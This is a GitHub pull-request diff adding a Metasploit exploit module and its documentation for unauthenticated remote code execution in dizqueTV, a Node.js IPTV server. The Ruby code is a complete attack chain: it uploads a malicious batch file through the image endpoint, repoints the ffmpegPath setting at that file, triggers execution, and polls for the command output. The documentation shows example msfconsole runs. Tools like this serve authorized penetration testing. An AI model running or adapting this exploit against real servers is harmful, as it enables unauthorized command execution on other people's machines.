Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
113 changes: 113 additions & 0 deletions documentation/modules/exploit/windows/http/dizquetv_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
## Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability in dizqueTV,
a Node.js-based IPTV streaming server. The vulnerability exists in how dizqueTV handles
the `ffmpegPath` configuration parameter.

An attacker can:

1. Upload a malicious batch file via the unauthenticated image upload endpoint
2. Modify the `ffmpegPath` setting to point to the uploaded file
3. Request a video stream or the version API to trigger execution

The `ffmpegPath` value is passed to Node's `child_process.exec()` and
`child_process.spawn()` without adequate validation, allowing arbitrary
command execution as the Node.js process user.

dizqueTV stores its settings in NeDB flat files. All API endpoints
(`PUT /api/ffmpeg-settings`, `POST /api/upload/image`) require no authentication
on default installations.

### Vulnerable Setup

Install dizqueTV on a Windows system:

1. Install Node.js v12+ on Windows
2. `npm install -g dizquetv`
3. `dizquetv` (starts on port 8000 by default)
4. No authentication is configured by default

### Verification Steps

1. Start msfconsole
2. `use exploit/windows/http/dizquetv_rce`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set COMMAND whoami`
5. `check`
6. `run`

## Options

### COMMAND

Command to execute on the target. If not set, the module will use the
selected payload's command. On Windows, the command is executed via
`cmd.exe` inside a batch file.

### CHANNEL

The channel number to use when triggering the video stream.
Default is 3. If no channel exists, the module may still work via the
`/api/version` trigger which calls `exec()` directly.

### MAXWAIT

Maximum seconds to poll for the command output file. Default is 140
seconds since command execution is asynchronous (the spawned process
continues after the HTTP request completes).

### POLL_INTERVAL

Seconds between poll attempts. Default is 6 seconds.

## Scenarios

### Windows dizqueTV 1.5.3

```
msf6 > use exploit/windows/http/dizquetv_rce
msf6 exploit(windows/http/dizquetv_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(windows/http/dizquetv_rce) > set COMMAND whoami
COMMAND => whoami
msf6 exploit(windows/http/dizquetv_rce) > check
[+] 192.168.1.100:8000 - The target is vulnerable. dizqueTV detected
msf6 exploit(windows/http/dizquetv_rce) > run

[*] Target: 192.168.1.100:8000
[*] Uploading payload script...
[+] Script uploaded: b_a1b2c3.bat
[*] Fetching current ffmpeg settings...
[*] Setting ffmpegPath to uploaded script...
[+] ffmpegPath confirmed
[*] Triggering via /video?channel=3...
[*] Polling for output (140s timeout, every 6s)...
[+] Output retrieved @ 18s (12 bytes):
nt authority\network service
```

### Windows dizqueTV 1.5.3 with command payload

```
msf6 exploit(windows/http/dizquetv_rce) > set payload cmd/windows/generic
msf6 exploit(windows/http/dizquetv_rce) > set COMMAND ipconfig
msf6 exploit(windows/http/dizquetv_rce) > run

[*] Target: 192.168.1.100:8000
[*] Uploading payload script...
[+] Script uploaded: b_d4e5f6.bat
[*] Fetching current ffmpeg settings...
[*] Setting ffmpegPath to uploaded script...
[+] ffmpegPath confirmed
[*] Triggering via /video?channel=3...
[*] Polling for output (140s timeout, every 6s)...
[+] Output retrieved @ 24s (312 bytes):

Windows IP Configuration

Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : local
IPv4 Address. . . . . . . . . . . : 192.168.1.100
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
```
206 changes: 206 additions & 0 deletions modules/exploits/windows/http/dizquetv_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,206 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'dizqueTV Unauthenticated Remote Code Execution',
'Description' => %q{
dizqueTV, a Node.js-based IPTV streaming server, is vulnerable to
unauthenticated remote code execution via the ffmpegPath configuration
parameter. On Windows, an attacker can upload a malicious batch script through
the image upload endpoint, modify the ffmpegPath setting to point to the
uploaded file, then trigger execution by requesting a video stream.

The ffmpegPath value is used by Node's child process APIs without adequate
validation, allowing arbitrary command execution as the Node.js process user.
},
'License' => MSF_LICENSE,
'Author' => [
'Muhammad Sulthon Nurbahari', # Metasploit module
'Ahmed Said Saud Al-Busaidi', # Original PoC (EDB-52079)
],
'References' => [
['EDB', '52079'],
],
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Targets' => [
['Windows', {}],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
Opt::RPORT(8000),
OptString.new('COMMAND', [false, 'Command to execute (overrides payload if set)', '']),
OptInt.new('CHANNEL', [true, 'Channel number to trigger stream', 3]),
OptInt.new('MAXWAIT', [true, 'Max seconds to poll for output', 140]),
OptInt.new('POLL_INTERVAL', [true, 'Seconds between poll attempts', 6]),
])
end

def check
res = send_request_cgi('method' => 'GET', 'uri' => '/api/version')
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Safe('Unexpected HTTP code') unless res.code == 200

body = res.body.to_s.downcase
if body.include?('dizquetv') || body.include?('"version"')
return CheckCode::Vulnerable('dizqueTV detected')
end

res2 = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('api', 'channels'))
if res2 && res2.code == 200
begin
JSON.parse(res2.body)
return CheckCode::Detected('dizqueTV API detected')
rescue JSON::ParserError
end
end

CheckCode::Safe
end

def exploit
@cmd = datastore['COMMAND'].empty? ? payload.encoded : datastore['COMMAND']
@tag = Rex::Text.rand_text_hex(4)
@output_file = "out_#{@tag}.txt"
@script_name = "b_#{Rex::Text.rand_text_hex(6)}.bat"

print_status("Target: #{rhost}:#{rport}")

upload_script
set_ffmpeg_path
trigger_execution
retrieve_output
end

def upload_script
print_status('Uploading payload script...')

# Execute the command and redirect stdout and stderr beside the batch file.
content = "@echo off\r\n"
content << "(#{@cmd}) > \"%~dp0\\#{@output_file}\" 2>&1\r\n"

boundary = "----#{Rex::Text.rand_text_alphanumeric(16)}"
body = "--#{boundary}\r\n"
body << "Content-Disposition: form-data; name=\"image\"; filename=\"#{@script_name}\"\r\n"
body << "\r\n#{content}\r\n"
body << "--#{boundary}--\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => '/api/upload/image',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => body
})

fail_with(Failure::UnexpectedReply, "Upload failed (HTTP #{res&.code})") unless res&.code == 200
print_good("Script uploaded: #{@script_name}")

register_files_for_cleanup(".dizquetv/images/uploads/#{@script_name}")
register_files_for_cleanup(".dizquetv/images/uploads/#{@output_file}")
end

def set_ffmpeg_path
print_status('Fetching current ffmpeg settings...')

res = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
fail_with(Failure::UnexpectedReply, 'Cannot fetch ffmpeg settings') unless res&.code == 200

begin
settings = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings')
end

# CRITICAL: preserve _id field — PUT silently fails without it
settings['ffmpegPath'] = ".dizquetv/images/uploads/#{@script_name}"

print_status('Setting ffmpegPath to uploaded script...')
res = send_request_cgi({
'method' => 'PUT',
'uri' => '/api/ffmpeg-settings',
'ctype' => 'application/json',
'data' => JSON.generate(settings)
})

fail_with(Failure::UnexpectedReply, "Failed to set ffmpegPath (HTTP #{res&.code})") unless res&.code == 200

# Verify the change stuck
res2 = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings')
if res2&.code == 200
updated = JSON.parse(res2.body) rescue {}
if updated['ffmpegPath'] == ".dizquetv/images/uploads/#{@script_name}"
print_good('ffmpegPath confirmed')
else
print_warning('ffmpegPath may not have been saved (lock behavior?)')
end
end
end

def trigger_execution
channel = datastore['CHANNEL']
print_status("Triggering via /video?channel=#{channel}...")

# The stream request spawns ffmpegPath — our script runs instead
send_request_cgi({
'method' => 'GET',
'uri' => "/video?channel=#{channel}"
}, 10)

# Also hit /api/version as backup trigger (version probe also calls exec())
send_request_cgi({ 'method' => 'GET', 'uri' => '/api/version' }, 5)
end

def retrieve_output
maxwait = datastore['MAXWAIT']
interval = datastore['POLL_INTERVAL']
max_attempts = maxwait / interval
output_path = "/images/uploads/#{@output_file}"

print_status("Polling for output (#{maxwait}s timeout, every #{interval}s)...")

max_attempts.times do |i|
sleep(interval)

res = send_request_cgi({ 'method' => 'GET', 'uri' => output_path }, 8)
next unless res&.code == 200

output = res.body.to_s.strip
next if output.empty? || output.include?('Cannot GET')

elapsed = (i + 1) * interval
print_good("Output retrieved @ #{elapsed}s (#{output.length} bytes):")
output.each_line { |line| print_line(line.chomp) }
store_loot(
'dizquetv.command_output',
'text/plain',
rhost,
output,
@output_file,
'dizqueTV RCE command output'
)
return
end

print_warning("No output retrieved within #{maxwait}s (command may have executed blindly)")
end
end